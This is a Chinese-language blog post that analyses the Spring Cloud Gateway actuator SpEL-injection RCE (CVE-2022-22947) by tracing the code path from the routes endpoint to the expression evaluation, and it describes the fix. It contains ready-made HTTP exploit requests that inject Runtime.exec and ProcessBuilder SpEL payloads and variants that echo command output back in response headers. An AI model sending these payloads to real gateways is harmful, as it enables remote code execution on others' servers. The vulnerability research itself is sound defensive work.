Spring Cloud Gateway actuator組建對外暴露RCE問題漏洞分析

  Spring Cloud gateway是什麼?

Spring Cloud Gateway是Spring Cloud官方推出的第二代網關框架,取代Zuul網關。網關作爲流量的,在微服務系統中有着非常作用,網關常見的功能有路由轉發、權限校驗、限流控制等作用

   漏洞描述:

  

當啓用、暴露和不安全的 Gateway Actuator 端點時,使用 Spring Cloud Gateway 的應用程序容易受到代碼注入攻擊。遠程攻擊者可以發出惡意製作的請求,允許在遠程主機上進行任意遠程執行。

 

 漏洞複測:

  

 

 

 

  

POST /actuator/gateway/routes/test1 HTTP/1.1
Host: 127.0.0.1:8889
Pragma: no-cache
Cache-Control: no-cache
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96"
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8889/actuator/
Content-Type:application/json
Content-Length: 184


{"id":"test1","filters":[
    {
        "name":"RewritePath",
        "args":{
                "test":"#{T(java.lang.Runtime).getRuntime().exec(\"open /System/Applications/Calculator.app\")}"
    }
    }
]
}

 

刷新觸發請求:

 

 

 

 

POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8889
Pragma: no-cache
Cache-Control: no-cache
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96"
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8889/actuator/
Content-Type:application/json

 

直接觸發rce:

 

 

 

 從0開始漏洞分析:

  漏洞預警:https://tanzu.vmware.com/security/cve-2022-22947

  受影響的版本鎖定:

Spring Cloud Gateway
3.1.0
3.0.0 to 3.0.6
Older, unsupported versions are also affected

 

   

 

 

 

  

  直接去github查看:

  看diff,對比:    

  https://github.com/spring-cloud/spring-cloud-gateway/compare/v3.1.0...v3.1.1?diff=split

  全局搜索.java等關鍵字:

  關鍵代碼位置:spring-cloud-gateway-server/src/main/java/org/springframework/cloud/gateway/support/ShortcutConfigurable.java

  https://github.com/spring-cloud/spring-cloud-gateway/compare/v3.1.0...v3.1.1?diff=split#diff-7aa249852020f587b35d07cd73c39161c229700ee1e13a9a146c114f542083bc

  

 

 

 

  通過代碼,很容易看出來,這是spel注入,符合前面漏洞預警說的代碼注入:

  

 

 

 

  

 現在sink找到了,就差source,看情況是這樣子的

 除了這樣找sink,還可以通過commit查看,無需對比,一樣是關鍵字搜索:

 拉到漏洞修復版本:https://github.com/spring-cloud/spring-cloud-gateway/commits/v3.1.1

  

 

 

 

  看到spel,盲猜spel注入,跟進去看看:

  https://github.com/spring-cloud/spring-cloud-gateway/commit/818fdb653e41cc582e662e085486311b46aa779b

  

 

 

 

  

好了,下面開始第二步分析,從下往上找,目前已基礎判斷出sink爲spel注入,從下往上走:

漏洞環境搭建好了,所以我直接去idea裏面打開路徑:

spring-cloud-gateway-server/src/main/java/org/springframework/cloud/gateway/support/ShortcutConfigurable.java

idea裏面對應的路徑:

springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/support/ShortcutConfigurable.class:

可通過Structure查看結構體:

在這裏調度出來:

  

 

 

 

 

 

 

  

  這裏直接在sink文件斷一刀:

  42行

  

 

 

 

  重啓服務打exp:

  

 

 

 

 斷下來了,拿到利用鏈:

  

getValue:58, ShortcutConfigurable (org.springframework.cloud.gateway.support)
normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support)
normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support)
bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support)
loadGatewayFilters:144, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
getFilters:176, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
convertToRoute:117, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
apply:-1, 872736196 (org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$769)
onNext:106, FluxMap$MapSubscriber (reactor.core.publisher)
tryEmitScalar:488, FluxFlatMap$FlatMapMain (reactor.core.publisher)
onNext:421, FluxFlatMap$FlatMapMain (reactor.core.publisher)
drain:432, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
innerComplete:328, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
onSubscribe:552, FluxMergeSequential$MergeSequentialInner (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:8469, Flux (reactor.core.publisher)
onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher)
request:230, FluxIterable$IterableSubscription (reactor.core.publisher)
onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:8469, Flux (reactor.core.publisher)
onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher)
request:230, FluxIterable$IterableSubscription (reactor.core.publisher)
onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:4400, Mono (reactor.core.publisher)
subscribeWith:4515, Mono (reactor.core.publisher)
subscribe:4371, Mono (reactor.core.publisher)
subscribe:4307, Mono (reactor.core.publisher)
subscribe:4279, Mono (reactor.core.publisher)
onApplicationEvent:81, CachingRouteLocator (org.springframework.cloud.gateway.route)
onApplicationEvent:40, CachingRouteLocator (org.springframework.cloud.gateway.route)
doInvokeListener:176, SimpleApplicationEventMulticaster (org.springframework.context.event)
invokeListener:169, SimpleApplicationEventMulticaster (org.springframework.context.event)
multicastEvent:143, SimpleApplicationEventMulticaster (org.springframework.context.event)
publishEvent:421, AbstractApplicationContext (org.springframework.context.support)
publishEvent:378, AbstractApplicationContext (org.springframework.context.support)
refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
lambda$invoke$0:144, InvocableHandlerMethod (org.springframework.web.reactive.result.method)
apply:-1, 290554969 (org.springframework.web.reactive.result.method.InvocableHandlerMethod$$Lambda$861)
trySubscribeScalarMap:152, FluxFlatMap (reactor.core.publisher)
subscribeOrReturn:53, MonoFlatMap (reactor.core.publisher)
subscribe:57, InternalMonoOperator (reactor.core.publisher)
subscribe:52, MonoDefer (reactor.core.publisher)
subscribeNext:236, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher)
onComplete:203, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher)
onComplete:181, MonoFlatMap$FlatMapMain (reactor.core.publisher)
complete:137, Operators (reactor.core.publisher)
subscribe:120, MonoZip (reactor.core.publisher)
subscribe:4400, Mono (reactor.core.publisher)
subscribeNext:255, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher)
subscribe:51, MonoIgnoreThen (reactor.core.publisher)
subscribe:64, InternalMonoOperator (reactor.core.publisher)
onNext:157, MonoFlatMap$FlatMapMain (reactor.core.publisher)
onNext:74, FluxSwitchIfEmpty$SwitchIfEmptySubscriber (reactor.core.publisher)
onNext:82, MonoNext$NextSubscriber (reactor.core.publisher)
innerNext:282, FluxConcatMap$ConcatMapImmediate (reactor.core.publisher)
onNext:863, FluxConcatMap$ConcatMapInner (reactor.core.publisher)
onNext:127, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher)
onNext:180, MonoPeekTerminal$MonoTerminalPeekSubscriber (reactor.core.publisher)
request:2398, Operators$ScalarSubscription (reactor.core.publisher)
request:139, MonoPeekTerminal$MonoTerminalPeekSubscriber (reactor.core.publisher)
request:169, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher)
set:2194, Operators$MultiSubscriptionSubscriber (reactor.core.publisher)
onSubscribe:2068, Operators$MultiSubscriptionSubscriber (reactor.core.publisher)
onSubscribe:96, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher)
onSubscribe:152, MonoPeekTerminal$MonoTerminalPeekSubscriber (reactor.core.publisher)
subscribe:55, MonoJust (reactor.core.publisher)
subscribe:4400, Mono (reactor.core.publisher)
drain:451, FluxConcatMap$ConcatMapImmediate (reactor.core.publisher)
onSubscribe:219, FluxConcatMap$ConcatMapImmediate (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:64, InternalMonoOperator (reactor.core.publisher)
subscribe:52, MonoDefer (reactor.core.publisher)
subscribe:64, InternalMonoOperator (reactor.core.publisher)
subscribe:52, MonoDefer (reactor.core.publisher)
subscribe:64, InternalMonoOperator (reactor.core.publisher)
subscribe:52, MonoDefer (reactor.core.publisher)
subscribe:64, InternalMonoOperator (reactor.core.publisher)
subscribe:52, MonoDefer (reactor.core.publisher)
subscribe:4400, Mono (reactor.core.publisher)
subscribeNext:255, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher)
subscribe:51, MonoIgnoreThen (reactor.core.publisher)
subscribe:64, InternalMonoOperator (reactor.core.publisher)
subscribe:55, MonoDeferContextual (reactor.core.publisher)
onStateChange:967, HttpServer$HttpServerHandle (reactor.netty.http.server)
onStateChange:677, ReactorNetty$CompositeConnectionObserver (reactor.netty)
onStateChange:478, ServerTransport$ChildObserver (reactor.netty.transport)
onInboundNext:570, HttpServerOperations (reactor.netty.http.server)
channelRead:93, ChannelOperationsHandler (reactor.netty.channel)
invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)
channelRead:220, HttpTrafficHandler (reactor.netty.http.server)
invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:436, CombinedChannelDuplexHandler$DelegatingChannelHandlerContext (io.netty.channel)
fireChannelRead:327, ByteToMessageDecoder (io.netty.handler.codec)
channelRead:299, ByteToMessageDecoder (io.netty.handler.codec)
channelRead:251, CombinedChannelDuplexHandler (io.netty.channel)
invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)
channelRead:1410, DefaultChannelPipeline$HeadContext (io.netty.channel)
invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:919, DefaultChannelPipeline (io.netty.channel)
read:166, AbstractNioByteChannel$NioByteUnsafe (io.netty.channel.nio)
processSelectedKey:722, NioEventLoop (io.netty.channel.nio)
processSelectedKeysOptimized:658, NioEventLoop (io.netty.channel.nio)
processSelectedKeys:584, NioEventLoop (io.netty.channel.nio)
run:496, NioEventLoop (io.netty.channel.nio)
run:986, SingleThreadEventExecutor$4 (io.netty.util.concurrent)
run:74, ThreadExecutorMap$2 (io.netty.util.internal)
run:30, FastThreadLocalRunnable (io.netty.util.concurrent)
run:748, Thread (java.lang)

 

    

最上層是觸發sink結束了

往下看幾層:

調度了ShortcutType.DEFAULT枚舉重寫的normalize方法:

這是方法,下一層就是調用了:

org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/support/ConfigurationService.class

protected Map<String, Object> normalizeProperties() {
           return this.service.beanFactory != null ? ((ShortcutConfigurable)this.configurable).shortcutType().normalize(this.properties, (ShortcutConfigurable)this.configurable, this.service.parser, this.service.beanFactory) : super.normalizeProperties();
        }

 

 

 

 

查看屬性value:

 

 

 

 

 

 

其中的key和value就是我們的fiter裏面的屬性內容:

 

 

 

再往下看一層:

name爲我們自定義的RewritePath

 

 

 

結論:引用y4er大佬的話:

這個normalizeProperties()是對filter的屬性進行解析,會將filter的配置屬性傳入normalize中,最後 進入getValue執行SPEL表達式造成SPEL表達式注入。

現在是有exp,所以分析出來的,漏洞原理也瞭解了!但是還是有些點沒理解清楚,需要我們刨根問底:

 

  一些疑惑點:

(1)參數傳遞爲什麼是這樣的?

(2)name設置爲RewritePath,爲什麼要這樣設置?

 

 

 

 

 

  漏洞原理正向分析:

 

真的想徹底理解漏洞,更需要用戶貼近業務:

查看官方文檔介紹說明:

https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html

關鍵點在這裏,官方文檔說明可以使用這個接口去創建和刪除特定路由:

 

 

 

 

那說明我們的spring cloud下是存在/routes/這個目錄的,以開發經驗來看,一般路徑申明都在controller層,簡單搜索下利用堆棧下的關鍵字:

 

 

 

refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate)

 

去這個函數去看看

完全一致:

/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/actuate/AbstractGatewayControllerEndpoint.class

 

 

 

 

這個就是我們的source,現在又回到了老問題,這個source是怎麼觸發到sink的?

因爲代碼量不是很大,直接拿出來分析:

@PostMapping({"/routes/{id}"})
    public Mono<ResponseEntity<Object>> save(@PathVariable String id, @RequestBody RouteDefinition route) {
        return Mono.just(route).doOnNext(this::validateRouteDefinition).flatMap((routeDefinition) -> {
            return this.routeDefinitionWriter.save(Mono.just(routeDefinition).map((r) -> {
                r.setId(id);
                log.debug("Saving route: " + route);
                return r;
            })).then(Mono.defer(() -> {
                return Mono.just(ResponseEntity.created(URI.create("/routes/" + id)).build());
            }));
        }).switchIfEmpty(Mono.defer(() -> {
            return Mono.just(ResponseEntity.badRequest().build());
        }));
    }

 

先看可控點:

@PathVariable String id, @RequestBody RouteDefinition route

 

路徑就是自定義的id,這個不用管,跟進RouteDefinition類:

/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/route/RouteDefinition.class

 

 

 

可以這裏面定義了好幾個集合,有List的,也有Map的

隨便找個繼續跟集合的返回類,發現套娃好幾層呢:

/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/filter/FilterDefinition.class

 

 

 

這就是走到底的了,會發現他是name+agrs集合

這樣就對上了:

 

 

 

 

 

 

 

現在要分析的是RewritePath哪裏來的:

繼續回到代碼:

return Mono.just(route).doOnNext(this::validateRouteDefinition).flatMap((routeDefinition) -> {
            return this.routeDefinitionWriter.save(Mono.just(routeDefinition).map((r) -> {

 

發現我們可控的變量進入了這個函數了,比較重要的就是flatMap了,這玩意和map類似,不同的是其每個元素轉換得到的是Stream對象,會把子Stream中的元素壓縮到父集合中, 人話就是後面的是壓縮的子元素,前面的返回的是壓縮後的父元素

跟進this::validateRouteDefinition:

 

 

 

在這個方法下下個斷點:

/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/actuate/AbstractGatewayControllerEndpoint.class

 

 

 

 

anyMatch:判斷的條件裏,任意一個元素成功,返回true

allMatch:判斷條件裏的元素,所有的都是,返回true

noneMatch:與allMatch相反,判斷條件裏的元素,所有的都不是,返回true

看着難看,利用Evuluate循環打印:

for(int i=0;i<this.GatewayFilters.size();i++){
    System.out.println(GatewayFilters.get(i).name());
}

 

 

 

就是這些:

AddRequestHeader
MapRequestHeader
AddRequestParameter
AddResponseHeader
ModifyRequestBody
DedupeResponseHeader
ModifyResponseBody
CacheRequestBody
PrefixPath
PreserveHostHeader
RedirectTo
RemoveRequestHeader
RemoveRequestParameter
RemoveResponseHeader
RewritePath
Retry
SetPath
SecureHeaders
SetRequestHeader
SetRequestHostHeader
SetResponseHeader
RewriteResponseHeader
RewriteLocationResponseHeader
SetStatus
SaveSession
StripPrefix
RequestHeaderToRequestUri
RequestSize
RequestHeaderSize

 

可以看到我們的RewritePath就在其中

  修復方案:

  修改爲StandardEvaluationContext爲SimpleEvaluationContext

spel注入類常見的有兩種:

StandardEvaluationContext 更加靈活 SimpleEvaluationContext 安全的,有限制的

 

 

 

不出網的話,我們上面的方法就不是很好使,需要調試出回顯方法?

網上出了好多回顯示案例,找一個複測下:

spring cloud回顯測試:

 

 

 

POST /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 127.0.0.1:8889
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 332

{
  "id": "greetdawn",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
  }],
"uri": "http://example.com",
"order": 0
}
}

 

刷新:

 

 

 

訪問創建的路由地址:

GET /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 127.0.0.1:8889
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Connection: close

 

 

 

  spring cloud gateway 回顯原理分析:

  /org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/filter/factory/AddResponseHeaderGatewayFilterFactory.class

 

 

把配置內容,添加到了響應請求頭

 除了這個還有很多,找類似點,發現當name爲:

  

AddRequestHeader
AddRequestParameter
AddResponseHeader
SetRequestHeader
..........

 

任意一個,均可以回顯

 

 

 

POST /actuator/gateway/routes/SetRequestHeader HTTP/1.1
Host: 127.0.0.1:8889
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 293

{
  "id": "After",
  "filters": [{
    "name": "SetRequestHeader",
    "args": {"name": "SetRequestHeader","value": "#{new java.util.Scanner(new java.lang.ProcessBuilder('/bin/bash', '-c', 'whoami').start().getInputStream()).next()}"}
  }],
"uri": "http://example.com",
"order": 0
}
}

 

刷新:

 

 

訪問:

 

 

 

漏洞批量檢測:

nuclei上看到有人提了相關檢測方法:

https://github.com/wdahlenburg/nuclei-templates/blob/06db2450edaa2de7c371c2bf31226109ecb5e6c1/misconfiguration/springboot/springboot-gateway.yaml

 

 

技術參考:

(1)y4er p師傅知識星球

(2)spring cloud文檔:https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html

(3)最好的spel注入學習文章:https://cryin.github.io/blog/SpEL injection/

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章